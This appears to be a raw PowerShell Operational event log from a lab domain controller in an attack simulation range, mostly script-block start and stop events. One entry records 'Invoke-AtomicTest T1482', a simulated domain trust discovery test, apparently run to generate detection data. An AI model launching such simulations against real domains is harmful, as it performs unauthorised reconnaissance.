Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478942
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478940
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478938
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478936
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478934
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478932
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478930
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478929
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478928
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478926
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478924
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478922
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478920
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478918
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478917
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478916
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478914
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478912
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478911
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478910
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478908
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478907
Keywords=None
Message=Completed invocation of ScriptBlock ID: b459aaab-de7d-420a-80f5-5c41c18dff6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478906
Keywords=None
Message=Started invocation of ScriptBlock ID: b459aaab-de7d-420a-80f5-5c41c18dff6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478905
Keywords=None
Message=Started invocation of ScriptBlock ID: 9977b850-34e8-42e4-a697-d3c6bfbce619
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478904
Keywords=None
Message=Completed invocation of ScriptBlock ID: 09cb335e-396f-45bc-bf57-1b3b9cd655fd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478903
Keywords=None
Message=Started invocation of ScriptBlock ID: 09cb335e-396f-45bc-bf57-1b3b9cd655fd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478902
Keywords=None
Message=Started invocation of ScriptBlock ID: f7a7b70f-f231-4997-8908-762a0f635440
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478901
Keywords=None
Message=Creating Scriptblock text (1 of 1):
Invoke-AtomicTest T1482
ScriptBlock ID: f7a7b70f-f231-4997-8908-762a0f635440
Path:
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478900
Keywords=None
Message=Completed invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479202
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479200
Keywords=None
Message=Started invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479198
Keywords=None
Message=Started invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479197
Keywords=None
Message=Completed invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479196
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479194
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479193
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479192
Keywords=None
Message=Started invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479191
Keywords=None
Message=Started invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
